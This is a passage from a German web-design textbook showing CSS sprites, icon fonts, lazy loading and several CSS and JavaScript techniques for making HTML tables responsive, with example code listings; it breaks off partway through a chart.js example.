                    Auf diese Art und Weise könnten Sie nun alle möglichen Links durch die entsprechenden Logos ersetzen (siehe Abbildung 8.21).

                    
                        [image: Weg mit dem Text, her mit den Logos. Das »background-image« bringt’s.]

                        Abbildung 8.21    
            Weg mit dem Text, her mit den Logos. Das »background-image« bringt’s.

                    
                    Der zugehörige CSS- und HTML-Code könnte wie folgt aussehen:

                    a.logo {
  --width:2rem;
  --height:2rem;
  display:inline-block;
  width:var(--width);
  height:var(--height);
  font-size:0px;
  background-size:contain;
  background-position:center;
  background-repeat:no-repeat;
}
a[href^="https://www.instagram.com"].logo {
  background-image:url(../medien/svg/Logo_Instagram.svg);
}
a[href^="https://www.facebook.com"].logo {
  background-image:url(../medien/svg/Logo_Facebook.svg);
}
a[href^="https://www.linkedin.com"].logo {
  background-image:url(../medien/svg/Logo_LinkedIn.svg);
}
a[href^="https://www.tiktok.com"].logo {
  background-image:url(../medien/svg/Logo_TikTok.svg);
}


                    ...
<a href="https://www.instagram.com/be_a_warrior.at/" target="_blank"  
class="logo">Instagram</a>
<a href="https://www.facebook.com/beawarrior.at" target="_blank"  
class="logo">Facebook</a>
<a href="https://www.linkedin.com" target="_blank" class="logo">LinkedIn</a>
<a href="https://www.tiktok.com" target="_blank" class="logo">TikTok</a>


                    Listing 8.14    
            Die Logos der Social-Media-Plattformen erscheinen nun als Bilder.

                    Wo also liegt das Problem? Es muss ja eins geben, sonst würden wir nicht drüber nachdenken müssen. Nun, das Problem besteht darin, dass für jedes Logo ein eigener Request an den Server erfolgen muss, da die jeweilige Bilddatei vom Server geladen werden muss. Das schmerzt uns in Hinblick auf die Datenmenge nur wenig, mehr jedoch in Hinblick auf die Anzahl der Anfragen (Requests) an den Server, mit der wir uns in Abschnitt 8.7 zum Thema Performance noch befassen werden: Jeder Request an den Server erzeugt eine Art »Wartezeit« (Latenzzeit), die gerade im Falle schlechter mobiler Anbindung zu einem echten Problem werden kann.

                    Aus diesem Grund sind wir sehr daran interessiert, die Anzahl der Requests zu verringern. Konkret gehen wir das so an, indem wir aus vier Dateien eine machen, indem wir alle Inhalte in einer Art Rasterdarstellung speichern, wo jedes Logo gleich viel Platz einnimmt (hier: 500 × 500 px, siehe Abbildung 8.22.

                    
                        [image: Unsere gesammelten Logos. Wesentlich ist, dass jedes Logo gleich viel Platz zur Verfügung hat (hier: je 500 × 500 px)]

                        Abbildung 8.22    
            Unsere gesammelten Logos. Wesentlich ist, dass jedes Logo gleich viel Platz zur Verfügung hat (hier: je 500 × 500 px)

                    
                    Kennen wir die Rastergröße, können wir die background-position-Eigenschaft von CSS nutzen und das Hintergrundbild entsprechend der Position des Logos im Bild – dem sogenannten Sprite – setzen:

                    a.logo {
  --width:2rem;
  --height:2rem;
  display:inline-block;
  width:var(--width);
  height:var(--height);
  font-size:0px;
  background-size:auto 100%;
  background-repeat:no-repeat;
  background-image:url(../medien/svg/Logos_gesammelt.svg);
}
a[href^="https://www.instagram.com"].logo {
  background-position:0px 0px;
}
a[href^="https://www.facebook.com"].logo {
  background-position:calc(-1 * var(--width)) 0px;
}
a[href^="https://www.linkedin.com"].logo {
  background-position:calc(-2 * var(--width)) 0px;
}
a[href^="https://www.tiktok.com"].logo {
  background-position:calc(-3 * var(--width));
}


                    Listing 8.15    
            Ein Sprite für alle Logos unter Verwendung eines Hintergrundbildes

                    Das Hintergrundbild (den Sprite) weisen wir nun (in diesem Beispiel) allen Ankern der Klasse logo zu – je Anker positionieren wir den Sprite um eine gesamte Breite des Ankers (die in der Variable --width gespeichert ist) weiter. Das Ergebnis in Abbildung 8.23 spricht für sich (und ist optisch natürlich identisch mit Abbildung 8.21).

                    
                        [image: Wir waren erfolgreich: Anstelle vier einzelner Hintergrundbild- Dateien setzen wir nun Sprites ein.]

                        Abbildung 8.23    
            Wir waren erfolgreich: Anstelle vier einzelner Hintergrundbild- Dateien setzen wir nun Sprites ein.

                    
                    In folgenden Fällen ist dieser Vorgang sinnvoll:

                    
                        	
                            immer dann, wenn (möglichst) alle Grafiken des Sprites verwendet werden: Weil die Dateigröße die Summe aller einzelnen Grafiken ist, würde man ansonsten ein Zuviel an Dateimenge laden müssen.

                        

                        	
                            immer dann, wenn die einzelnen Dateien nicht allzu groß sind (und somit auch die Sammeldatei nicht allzu groß wird): Würde die Summe der einzelnen Dateien zu groß werden, so wird die Datei zu unhandlich für die Offline-Verarbeitung.

                        

                        	
                            immer dann, wenn es sich um dekorative Elemente handelt: Im Falle von echten (HTML-)Bildern ist die Vorgehensweise ebenfalls (auf eine ähnliche Art und Weise) möglich, jedoch sollen HTML-Bilder für Suchmaschinen Sinn ergeben – Sprites würden keinen Sinn ergeben.

                        

                    

                    Ob Sprites aus Illustrationen, also Vektordaten, oder aus pixelbasierten Bildern bestehen, spielt keine Rolle.

                
                
                    Icon-Fonts für sehr viele Illustrationen

                    In manchen Fällen sind Sprites nicht mehr ausreichend, etwa dann, wenn es sehr, sehr viele Grafiken werden. In diesem Fall greift man gerne zu Icon-Fonts: Jede Illustration wird einem Buchstaben (oder einem Symbol bzw. einer Abfolge von Zeichen) der Schrift zugewiesen. Beispiele solcher Icon-Fonts sind etwa die Material Icons von Google (siehe Abbildung 8.24) oder das Toolkit Font Awesome.

                    
                        [image: Die »Material Icons« von Google sind eine wunderbare Quelle für Symbole jedwelcher Natur.]

                        Abbildung 8.24    
            Die »Material Icons« von Google sind eine wunderbare Quelle für Symbole jedwelcher Natur.

                    
                    Im Falle von Font Awesome (siehe Abbildung 8.25) ist es sogar möglich, eigene Symbole hochzuladen und diese den Symbolen von Font Awesome hinzuzufügen.

                    
                        [image: Auch »Font Awesome« stellt eine Unmenge an Symbolen für alle möglichen Anwendungsszenarien bereit. Vektorbasiert – das versteht sich ja von selbst.]

                        Abbildung 8.25    
            Auch »Font Awesome« stellt eine Unmenge an Symbolen für alle möglichen Anwendungsszenarien bereit. Vektorbasiert – das versteht sich ja von selbst.

                    
                
                
                    Lazy Loading für weniger wichtige Bilder

                    Über das loading-Attribut für HTML-Bilder können Sie angeben, wie das Laden von Bildern erfolgen soll, die sich noch nicht im sichtbaren Bereich (dem Viewport) der Seite befinden. Zwei Varianten stehen zur Verfügung:

                    
                        	
                            loading="eager": Das Bild wird beim Server angefordert, sobald der Browser es im HTML-Code entdeckt – also beim Parsen/Interpretieren des HTML-Codes.

                        

                        	
                            loading="lazy": Das Bild wird erst dann beim Server angefordert, wenn es im Viewport des Users erscheint.

                        

                    

                    Angewandt auf das Tag <img>, würde das wie folgt aussehen. Hier wird das Bild erst geladen, wenn es im Viewport erscheint:

                    <img src="medien/bild.jpg" loading="lazy" alt="..">


                    Beide Varianten haben Vor- und Nachteile. Die "eager"-Variante lädt das Bild sofort, wodurch für den User keine Wartezeiten entstehen, wenn er zu diesem Bild scrollt. Speziell im Fall vieler Bilder oder schlechter Internetanbindung ist das aber nachteilig, da es den Aufbau der Website (enorm) verzögern kann. An dieser Stelle möchte ich auch auf Abschnitt 8.7 verweisen, in dem wir uns über das Laden zahlreicher Dokumente (zahlreiche Requests an den Server) unterhalten werden.

                    Mit der "lazy"-Variante wird ein Bild erst geladen, wenn es im Viewport des Browsers ist. Schließlich scrollt nicht jeder User durch den gesamten Inhalt einer Seite – wozu also dann ein Bild laden, das der User nie zu Gesicht bekommt? Auf der anderen Seite stehen die User, die sehr wohl den gesamten Inhalt durchscrollen (und das vielleicht auch ziemlich schnell) und somit auf das Laden der Bilder erst warten müssen.

                    Dennoch gilt: Der sinnvolle und durchdachte Einsatz von loading="lazy" ist auf jeden Fall empfehlenswert – ein klarer Tipp von meiner Seite.

                    
                        [»]  Die Einsatzmöglichkeiten von Lazy Loading

                        Denken Sie daran, dass ein Lazy Loading nur dann vom Browser ermöglicht wird, wenn die Ausführung von JavaScript-Code erlaubt ist. Bei deaktiviertem JavaScript wird jedes Bild – unabhängig von der loading-Einstellung – sofort geladen. Weil aber nur wenige User in ihren Browsern die Ausführung von JavaScript deaktivieren, müssen wir uns darüber keine Gedanken machen.

                    

                
                
                    Weitere Probleme im Zusammenhang mit Bildern

                    Neben den Größen- und Skalierungsproblemen, mit denen wir uns auf den letzten Seiten beschäftigt haben, müssen wir uns jedoch auch über einige weitere Punkte Gedanken machen:

                    
                        	
                            Datenmenge: Das Verkleinern von Bildern soll nicht darüber hinwegtäuschen, dass sich das beim Server angeforderte Bild dadurch nicht verkleinert. Wirft man einen Blick auf die Statistik zur Page Weight (siehe Abbildung 8.26), so wird schnell ersichtlich, dass Bilder den größten Anteil an übertragenen Daten einer Webseite darstellen.

                            
                                [image: Eine Statistik aus 2022 zeigt, dass der Anteil der Bilder – egal ob mobile oder Desktop-Darstellung – den Hauptteil der geladenen Daten ausmacht. (Quelle: https://almanac.httparchive.org/en/2022/page-weight)]

                                Abbildung 8.26    
            Eine Statistik aus 2022 zeigt, dass der Anteil der Bilder – egal ob mobile oder Desktop-Darstellung – den Hauptteil der geladenen Daten ausmacht. (Quelle: https://almanac.httparchive.org/en/2022/page-weight)

                            
                        

                        	
                            Datenrate: Diese stellt einen Indikator für die Bildqualität dar. Im Falle schlechter Netzanbindung wird gerne auf ein qualitativ minderwertigeres Bild oder ein Bild mit progressivem Aufbau zurückgegriffen.

                        

                        	
                            Bildinhalt/Bildaussage: Denken Sie daran, dass die Aussage bei unterschiedlichen Größendarstellungen eines Bildes mitunter eine andere ist bzw. nicht identisch wahrgenommen wird. Groß dargestellte Bilder (Desktop, Notebook) sind in der Lage, mehr an Bildaussage zu transportieren als (dieselben) Bilder mit kleineren Abmessungen (Smartphone, mitunter auch Tablet). Das heißt, Sie müssen bei unterschiedlichem Platzangebot auch manchmal auf unterschiedliche Bilder zurückgreifen.

                        

                    

                
            
            
                Tabellen

                Eines der schwerwiegendsten Probleme im Rahmen von Responsive Webdesign ist das Arbeiten mit Tabellen, denn es ist offensichtlich, dass die Ansätze, die wir bei Bildern verfolgt haben (verkleinern/skalieren), nicht angewendet werden können. Das bedeutet, dass man andere Wege finden muss, um Tabellen darzustellen. Ich lese an dieser Stelle immer wieder Aussagen wie »Kompromisse sind gefragt« oder »mobiles Tabellendesign ist nicht zweckmäßig« usw. Geben Sie nicht allzu viel auf solche Aussagen, sondern gehen Sie die Angelegenheit pragmatisch an:

                
                    	
                        Smartphone-Displays sind nicht ausreichend breit: Gut, das ist ein Fakt. Das heißt aber nicht, dass wir nicht andere Wege finden können, um Tabellen sinnvoll darzustellen.

                    

                    	
                        Extra-große Tabellen sind auf keinem Bildschirm ohne Scrollen darstellbar: Es scheitert oft gar nicht am Gerät, sondern eher an der Breite der Tabelle.

                    

                

                Lassen Sie uns also Lösungen finden. Eines muss ich jedoch vorausschicken: An der korrekten Semantik darf kein Weg vorbeiführen. Eine HTML-Tabelle muss immer mit dem Tag <table> aufgebaut werden: kein Grid, keine Flexbox, keine verschachtelten <div>, mit deren Hilfe man mittels CSS etwas zaubern möchte – Tabelle bleibt Tabelle.

                Zeit, einen Blick auf eine Tabelle zu werfen und Lösungen zu finden:

                <table>
  <thead>
    <tr>
      <th scope="col">Vorname</th>
      <th scope="col">Nachname</th>
      <th scope="col">Emailadresse</th>
      <th scope="col">Passwort</th>
      <th scope="col">Geschlecht</th>
      <th scope="col">Geb.-Datum</th>
      <th scope="col">Geb.-Land</th>
      <th scope="col">registriert am</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Hubert</td>
      <td>Huber</td>
      <td>test18@test.at</td>
      <td>TestXXX</td>
      <td>divers</td>
      <td>17.8.1999</td>
      <td></td>
      <td>26.5.2023</td>
    </tr>
    ...
  </tbody>
</table>


                Listing 8.16    
            Ein beispielhafter Code für eine HTML-Tabelle. Wie sie wohl auf einem Smartphone aussehen wird?

                
                    [image: Eine ganz normale Tabelle, wie sie überall vorkommen könnte. Dass diese Tabelle nicht auf ein Smartphone passt, bedarf keiner weiteren Begründung.]

                    Abbildung 8.27    
            Eine ganz normale Tabelle, wie sie überall vorkommen könnte. Dass diese Tabelle nicht auf ein Smartphone passt, bedarf keiner weiteren Begründung.

                
                Nun wollen wir diese Tabelle responsiv machen. Hierfür existieren einige Ansätze, die sich hauptsächlich darin unterscheiden, ob sie mit oder ohne JavaScript auskommen. Den meisten Webdesignern ist es lieber, dass CSS die gesamte Arbeit übernimmt und kein JavaScript benötigt wird, da die Hinzunahme von JavaScript eben offensichtlich zu einerseits Mehrarbeit (Programmierung) und andererseits zu einer zusätzlichen Fehlerquelle führt (der User hat JavaScript deaktiviert; die Browser werden weiterentwickelt, weshalb der JavaScript-Code nicht mehr funktioniert usw.).

                Bevor ich ins Detail gehe, möchte ich Ihnen mit Tabelle 8.4 eine Entscheidungshilfe geben, sollten Sie direkt in medias res gehen wollen:

                
                    
                        
                            	
                                Ansatz

                            
                            	
                                nutzt JS

                            
                            	
                                Vorteile

                            
                            	
                                Nachteile

                            
                        

                    
                    
                        
                            	
                                horizontale Spalten vertikal darstellen

                            
                            	
                                nein

                            
                            	
                                
                                    	mit wenig CSS-Aufwand realisierbar


                                    	in allen modernen Browsern einsetzbar


                                

                            
                            	
                                Änderungen im HTML-Code notwendig (data-Attribut hinzufügen) → je nach Größe der Tabelle aufwendig

                            
                        

                        
                            	
                                Kopfbereich feststehend, Rumpfbereich horizontal scrollbar

                            
                            	
                                nein

                            
                            	
                                
                                    	mit wenig CSS-Aufwand realisierbar


                                    	in allen modernen Browsern einsetzbar


                                

                            
                            	
                                Der User muss das Konzept des horizontalen Scrollens erst erkennen.

                            
                        

                        
                            	
                                Erste Spalte sticky, Rest scrollbar

                            
                            	
                                nein

                            
                            	
                                
                                    	mit sehr wenig CSS-Aufwand realisierbar


                                    	In allen (halbwegs) modernen Browsern einsetzbar


                                

                            
                            	
                                
                                    	zusätzlicher Wrapper im HTML notwendig


                                    	nur für ausgewählte Inhalte sinnvoll verwendbar


                                

                            
                        

                        
                            	
                                FooTables

                            
                            	
                                ja

                            
                            	
                                
                                    	schön gestaltete Darstellung


                                    	individuell konfigurierbar


                                

                            
                            	
                                
                                    	Benötigt JavaScript (jQuery) und FontAwesome.


                                    	unübersichtliche Konfiguration, Programmier-Kenntnisse erforderlich


                                

                            
                        

                        
                            	
                                Charts

                            
                            	
                                ja

                            
                            	
                                
                                    	eindrucksvolle grafische Darstellung inkl. Interaktivität


                                    	sehr gut durch den Betrachter wahrnehmbar


                                

                            
                            	
                                
                                    	Benötigt JavaScript (jQuery) sowie die chart.js-Bibliothek.


                                    	Es sind fortgeschrittene Programmierkenntnisse notwendig, um die Bibliothek zu verstehen.


                                

                            
                        

                        
                            	
                                Responsive Rainbow Tables (Brad Czerniak)

                            
                            	
                                nein

                            
                            	
                                schnell einsetzbar

                            
                            	
                                
                                    	sehr eingeschränktes Einsatzgebiet


                                    	mitunter unübersichtlich


                                

                            
                        

                        
                            	
                                Überschriftenzellen vertikal

                            
                            	
                                nein

                            
                            	
                                
                                    	unglaublich einfach


                                    	für den Betrachter gewohnte Darstellung


                                

                            
                            	
                                eingeschränktes Einsatzgebiet

                            
                        

                    
                

                Tabelle 8.4    
            Eine Übersicht über die Vor- und Nachteile der verschiedenen Ansätze für responsive Tabellen

                Für alle im Folgenden betrachteten Ansätze (bis auf die FooTables) gilt natürlich, dass das Umschalten der Darstellung über eine Media Query erfolgen muss:

                @media screen and (min-width:…) {
  /* normale Darstellung; ggf. nicht benötigt */
}
@media screen and (max-width:…) {
  /* Responsive-Darstellung */
}


                Die erste der beiden Media Queries kann natürlich entfallen, wenn die Standarddarstellung einfach diejenige sein soll, wie eine Tabelle normalerweise und ohne Zutun aussieht.

                
                    Ansatz 1 (ohne JavaScript): Die horizontalen Spalten werden vertikal dargestellt

                    Dieser Ansatz beruht auf der Idee, dass die aktuell horizontal angeordneten Spalten vertikal angezeigt werden und die Spaltenbeschriftung links davon steht – siehe Abbildung 8.28.

                    Der hierzu benötigte Code ist sehr einfach, jedoch ist eine Anpassung des HTML-Codes notwendig. Der Grund ist, dass die Überschriften-Zellen (<th>) nur einmal im Code vorkommen, in dieser neuen Anordnung die Inhalte dieser Spalten jedoch für eine jede Zelle benötigt werden. Mit anderen Worten: Die Inhalte der Überschriften-Zellen werden bei jeden Datensatz benötigt. Dies realisiert man, indem man pro <td> ein data-Attribut hinzufügt, in dem die Beschriftung hinterlegt ist:

                    <table>
  <thead>
    <tr>
      <th scope="col">Vorname</th>
      <th scope="col">Nachname</th>
      <th scope="col">Emailadresse</th>
      <th scope="col">Passwort</th>
      <th scope="col">Geschlecht</th>
      <th scope="col">Geb.-Datum</th>
      <th scope="col">Geb.-Land</th>
      <th scope="col">registriert am</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td data-label="Vorname">Hubert</td>
      <td data-label="Nachname">Huber</td>
      <td data-label="Emailadresse">test18@test.at</td>
      <td data-label="Passwort">TestXXX</td>
      <td data-label="Geschlecht">divers</td>
      <td data-label="Geb.-Datum">17.8.1999</td>
      <td data-label="Geb.-Land"></td>
      <td data-label="registriert am">26.5.2023</td>
    </tr>
    ...
  </tbody>
</table>


                    Listing 8.17    
            Über data-Attribute fügen wir die gewünschte Beschriftung der Spalten ein.

                    
                        [image: Die ursprünglich horizontal angeordneten Spalten werden nun vertikal dargestellt. Die Beschriftung wird mittels CSS eingefügt.]

                        Abbildung 8.28    
            Die ursprünglich horizontal angeordneten Spalten werden nun vertikal dargestellt. Die Beschriftung wird mittels CSS eingefügt.

                    
                    Eine solche Beschriftung für jede Zelle ist – je nach Tabellenlänge – mit einem gehörigen Aufwand verbunden. Wird die Tabelle hingegen (z. B. mittels serverseitiger Programmierung) automatisiert aus einer Datenbank generiert, dann stellt dieser Ansatz kein Problem dar. Einzig die Datenmenge wird etwas größer.

                    Der wesentliche CSS-Code würde wie folgt aussehen:

                    table, tr, th, td {
  display:block;
  border:none;
}
th { display:none; }
td::before {
  content:" "attr(data-label)": ";
  font-weight:bold;
}


                    Listing 8.18    
            Die »content«-Eigenschaft sorgt nun für die Beschriftung.

                    Optional wäre eine Formatierung wie folgt noch anzuraten:

                    tbody tr {
  border-bottom:2px solid #999;
  margin-bottom:1em;
  padding-bottom:1em;
}


                    Wie Sie sehen, hält sich der Aufwand in Grenzen. Nachteilig ist jedoch das notwendige Hinzufügen der Beschriftungen in eine jede Spalte der HTML-Tabelle.

                
                
                    Ansatz 2 (ohne JavaScript): horizontal scrollbarer Inhalt

                    In diesem Fall wird der Kopfbereich der Tabelle (<thead>) mitsamt seiner Überschriften-Zellen vertikal dargestellt. Der Rumpfbereich der Tabelle (<tbody>) hingegen wird horizontal scrollbar gemacht. Die Aufteilung von <thead> und <tbody> in zwei horizontal nebeneinanderliegende Container erfolgt über ein Grid. Das Ergebnis sehen Sie in Abbildung 8.29.

                    Der zugehörige CSS-Code hält sich auch hier wieder in Grenzen, wenngleich etwas mehr Anpassung notwendig war als im vorigen Ansatz:

                    table {
  display:grid;
  grid-template-columns:auto 1fr;
}
th,
td {
  height:2.2em;
  overflow:auto;
}
thead tr,
th {
  display:block;
  text-align:left;
}
tbody {
  overflow-x:auto;
  white-space:nowrap;
}
tbody td { display:block; }
tbody tr { display:inline-block; }


                    Listing 8.19    
            Der horizontale »overflow« lässt Tabelleninhalte scrollbar werden.

                    
                        [image: Der Inhalt des Rumpfbereichs der Tabelle ist horizontal scrollbar, die (noch vertikal dargestellten) Überschriften bleiben fix stehen.]

                        Abbildung 8.29    
            Der Inhalt des Rumpfbereichs der Tabelle ist horizontal scrollbar, die (noch vertikal dargestellten) Überschriften bleiben fix stehen.

                    
                    Die Formatierung der Tabelle obliegt natürlich einem jeden selbst. Einen kleinen Hinweis möchte ich dennoch geben: Bedenken Sie, dass leere Zellen eine andere Höhe haben als gefüllte Zellen. Da in diesem Fall die Zellen jedoch als Block-Element und somit untereinander dargestellt werden, sollten sämtliche Zellen gleich hoch sein. Dem wird mittels th, td { height:2.2em; } (oder einer beliebigen anderen Höhe) Genüge getan.

                    Ein Problem bei dieser Darstellung sollten wir noch ansprechen: Theoretisch kann es passieren, dass sich die Breite der Spalten im Rumpfbereich der Tabelle genau so ergibt, dass es für den User nicht erkennbar ist, dass durch horizontales Scrollen noch weitere Spalten zum Vorschein kommen. Dem könnte man mit einem entsprechenden Hinweistext entgegenwirken.

                
                
                    Ansatz 3 (ohne JavaScript): erste Spalte fix, restliche Spalten scrollbar

                    Dieser Ansatz hängt ein wenig vom Tabelleninhalt ab. Hier bleibt erste Spalte der Tabelle fix stehen (ist also »sticky«) und die restlichen Spalten werden horizontal scrollbar (siehe Abbildung 8.30). Dieser Ansatz ist immer dann sinnvoll, wenn die Werte der ersten Spalte mit den restlichen Spalten verglichen werden sollen.

                    
                        [image: Sollen die Inhalte der ersten Spalte mit den restlichen Spalten verglichen werden können, so empfiehlt sich dieser Ansatz.]

                        Abbildung 8.30    
            Sollen die Inhalte der ersten Spalte mit den restlichen Spalten verglichen werden können, so empfiehlt sich dieser Ansatz.

                    
                    Um dies zu erreichen (und möglichst wenig weiteren Aufwand zu treiben), müssen Sie eine – geringfügige – Änderung am HTML-Code vornehmen: Um die Tabelle herum muss ein Wrapper (ein beliebiger Container) gespannt werden, innerhalb dessen die Tabelle horizontal scrollen kann. Eine Tabelle per se kann ihren Inhalt nicht scrollen, da es keinen Flow-Content gibt und demnach auch kein Overflow erzeugt werden kann:

                    <div class="wrapper">
  <table>
    <thead>...</thead>
    <tbody>...</tbody>
  </table>
</div>


                    Der CSS-Code ist einfach, sobald der Wrapper erzeugt worden ist:

                    .wrapper {
  position:relative;
  overflow-x:auto;
}
a3 thead tr th:first-of-type,
a3 tbody tr td:first-of-type {
  position:sticky;
  z-index:1;
  left:0px;
}


                    Listing 8.20    
            Setzen wir zusätzlich »sticky« ein, so bleibt die erste Spalte fix.

                    Die Positionierungsangabe position:relative im Wrapper garantiert, dass die sticky-Positionierung der folgenden ersten Zellen (<th> bzw. <td>) am Wrapper und nicht an der Tabelle ausgerichtet wird. Somit kann die Tabelle (horizontal, da overflow-x:auto) innerhalb des Wrappers scrollen; die sticky-Elemente bleiben kleben. z-index:1 stellt sicher, dass der Tabelleninhalt unter den sticky-Elementen scrollt.

                
                
                    Ansatz 4 (mit JavaScript): FooTables

                    FooTables sind mittlerweile in der Responsive-Welt ein etablierter Begriff. Unter Zuhilfenahme von JavaScript (sowie jQuery und FontAwesome) wird eine wunderbar interaktive Tabellendarstellung erzeugt, deren Konfigurationsmöglichkeiten keine Wünsche offen lassen. Und genau hier ist der Haken an der Sache: Um sauber mit den FooTables arbeiten zu können, muss man sich erst in die Dokumentation einlesen und die Tabelle konfigurieren.

                    Die Idee der FooTables besteht darin, dass ein Ansatz ähnlich unserem Ansatz 1 gewählt wird, die Datensätze jedoch per Klick ein- und ausgeblendet werden können (siehe Abbildung 8.31).

                    Welche Spalten bei welcher Viewport-Größe eingeblendet werden sollen, kann über HTML-Attribute entschieden werden.

                    Das Package ist auf GitHub zu finden (https://github.com/fooplugins/FooTable). Sie können zwischen einer Bootstrap-, einer Standalone- und einer Customized-Variante wählen. Setzen Sie nicht gerade Bootstrap ein, so gehen Sie den Weg der Standalone-Variante, was nichts anderes bedeutet, als dass Sie zunächst einmal lediglich eine JavaScript- und eine CSS-Datei einbetten müssen. Beachten Sie dabei jedoch, dass die Standalone-Variante jQuery und FontAwesome voraussetzt, weshalb diese beiden Quellen ebenfalls eingebunden werden müssen. Insgesamt landen Sie somit bei der Einbettung von vier Dateien (wobei jQuery in der Regel sowieso zum Standardumfang einer Website gehört). Hier sind noch die Links für den Download:

                    
                        	
                            FontAwesome: https://fontawesome.com/download

                        

                        	
                            jQuery: https://jquery.com/download/

                        

                    

                    Sollten Sie nicht am gesamten FontAwesome-Paket interessiert sein, so können Sie auch die Dateien verwenden, die FooTables bereitstellt. Diese finden Sie auf der GitHub-Site von FooTables unter src/css/FooTable.FontAwesome.css sowie src/css/FooTable.Glyphicons.ccs (https://github.com/fooplugins/FooTable/tree/V3/src/css).

                    
                        [image: Ein Datensatz ist bereits eingeblendet, die restlichen Datensätze können per Klick auf das Plus-Symbol auf- oder zugeklappt werden.]

                        Abbildung 8.31    
            Ein Datensatz ist bereits eingeblendet, die restlichen Datensätze können per Klick auf das Plus-Symbol auf- oder zugeklappt werden.

                    
                    Haben Sie alle Downloads beisammen, so ergibt sich folgender HTML-Code als Vorbereitung:

                    <link rel="stylesheet" href="footables/css/footable.standalone.min.css">
<link rel="stylesheet" href="footables/css/FooTable.FontAwesome.css">
<link rel="stylesheet" href=".footables/css/FooTable.Glyphicons.css">
<script src="../includes/js/jquery.min.js"></script>
<script src="../includes/footables/js/footable.min.js"></script>


                    Listing 8.21    
            Der HTML-Code zum Einbetten der FooTables

                    Nun können Sie zur Tat schreiten. Mithilfe des Attributs data-breakpoints definieren Sie, welche Spalten bis zu welchen Breakpoints eingeblendet werden sollen. Lässt man das Attribut weg, wird die Spalte nie ausgeblendet. Geben Sie also beispielsweise für eine Spalte data-breakpoints="xs" ein, so bedeutet das, dass diese Spalte auf sehr kleinen Geräten ausgeblendet wird, aber für alle anderen Größen sichtbar ist. Etwas komplierter ist es, wenn Sie etwa data-breakpoints="sm" angeben, denn dies würde bedeuten, dass diese Spalte für sehr kleine Viewports eingeblendet, für mittelkleine Geräte ausgeblendet und darüber wieder eingeblendet wird. Aus diesem Grund müssen Sie data-breakpoints="xs sm" angeben, um Spalten erst für mittelgroße Viewports einzublenden. Eine Übersicht über diese Angaben finden Sie in Tabelle 8.5.
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                    Tabelle 8.5    
            Eine Übersicht über die (etwas eigenwilligen) Angaben zur Sichtbarkeit der Spalten

                    Die von FooTables verwendeten Breakpoints entsprechen den Breakpoints von Bootstrap, aber natürlich kann man auch seine eigenen Breakpoints definieren:

                    
                        	
                            xs: 480 px

                        

                        	
                            sm: 768 px

                        

                        	
                            md: 992 px

                        

                        	
                            lg: 1200 px

                        

                    

                    
                        [»]  Die Dokumentation zu FooTables

                        Wie eigene Breakpoints definiert werden, welche Konfigurationsmöglichkeiten bestehen usw., all das finden Sie unter http://fooplugins.github.io/FooTable/docs/getting-started.html.

                    

                    Um einen Datensatz (vorab) einzublenden, ohne dass der User explizit auf das Plus-Symbol geklickt hat, nutzen Sie das Attribut data-expanded="expanded" in einer <tr>:

                    <table class="footable">
  <thead>
    <tr>
      <th scope="col">Vorname</th>
      <th scope="col">Nachname</th>
      <th scope="col" data-breakpoints="xs">Emailadresse</th>
      <th scope="col" data-breakpoints="xs">Passwort</th>
      <th scope="col" data-breakpoints="xs sm">Geschlecht</th>
      <th scope="col" data-breakpoints="xs sm">Geb.-Datum</th>
      <th scope="col" data-breakpoints="xs sm md">Geb.-Land</th>
      <th scope="col" data-breakpoints="xs sm md">registriert am</th>
    </tr>
  </thead>
  <tbody>
    <tr data-expanded="expanded">
      <td data-label="Vorname">Hubert</td>
      <td data-label="Nachname">Huber</td>
      <td data-label="Emailadresse">test18@test.at</td>
      <td data-label="Passwort">TestXXX</td>
      <td data-label="Geschlecht">divers</td>
      <td data-label="Geb.-Datum">17.8.1999</td>
      <td data-label="Geb.-Land"></td>
      <td data-label="registriert am">26.5.2023</td>
    </tr>
    ...
  </tbody>
</table>


                    Listing 8.22    
            Mithilfe von »data«-Attributen wird die Tabelle vorbereitet.

                    Jetzt müssen wir nur noch dafür Sorge tragen, dass die FooTables auch aktiv werden. Hierfür wird nun JavaScript (respektive jQuery) benötigt. Dazu geben wir der Einfachheit halber allen Tabellen, die sich wie FooTables verhalten sollen, die Klasse footable. Mittels jQuery weisen wir alsdann an, dass die FooTable-Funktionalitäten allen Tabellen dieser Klasse zugewiesen werden:

                    <script>


                      $(document).ready(function() {
    $("table.footable").footable();
  });


                    </script>


                    Listing 8.23    
            Ein simpler Aufruf genügt und die Tabelle ist responsiv.

                
                
                    Weitere Ansätze

                    Man darf natürlich auch ein wenig über den Tellerrand hinausblicken. Nicht jede Tabelle muss beispielsweise Daten immer tabellarisch darstellen. In manchen Fällen wäre etwa der Einsatz von Diagrammen eine Möglichkeit. Die Diagramme kann man aus geeigneten Tabellen etwa mittels chart.js (https://www.chartjs.org) generieren, wie Abbildung 8.32 zeigt.

                    
                        [image: Charts sind in manchen Fällen wesentlich besser geeignet, um tabellarische Daten darzustellen.]

                        Abbildung 8.32    
            Charts sind in manchen Fällen wesentlich besser geeignet, um tabellarische Daten darzustellen.

                    
                    Dass dieser Ansatz nicht immer funktioniert, ist klar. Aber in manchen Fällen ist eine grafische Darstellung sogar einer tabellarischen Darstellung vorzuziehen.

                    Für diese Lösung müssen Sie einerseits die chart.js-Datei einbinden (entweder über einen Download der Datei oder über ein CDN, Content Delivery Network, wie etwa https://cdn.jsdelivr.net/npm/chart.js), benötigen aber andererseits auch etwas JavaScript-Programmierung:

                    
                        	
                            Zunächst muss ein leeres Canvas-Element erzeugt werden, in das später das Chart gezeichnet wird.

                        

                        	
                            Die Tabellendaten müssen eingelesen werden: Hierzu muss die Struktur der Tabelle bekannt sein (wie etwa, dass die erste Spalte die Beschriftung der Werte und die zweite Spalte die eigentlichen Werte beinhaltet).

                        

                        	
                            Danach muss das Chart gezeichnet werden.

                        

                    

                    Der Aufbau der Tabelle soll wie folgt sein:

                    <table class="chart">
  <caption>Einwohnerzahlen der Bundesländer in Österreich</caption>
  <thead>
    <tr>
      <th scope="col">Bundesland</th>
      <th scope="col">Einwohnerzahl</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Burgenland</td>
      <td>301311</td>
    </tr> 
    <tr>
      <td>Kärnten</td>
      <td>568995</td>
    </tr>
    ...
  </tbody>
</table>


                    Der zugehörige JavaScript-Code unter Beihilfe von jQuery lautet nun:

                    $(document).ready(function() {
  let cnt = 0;
  $("table.chart").each(function() {
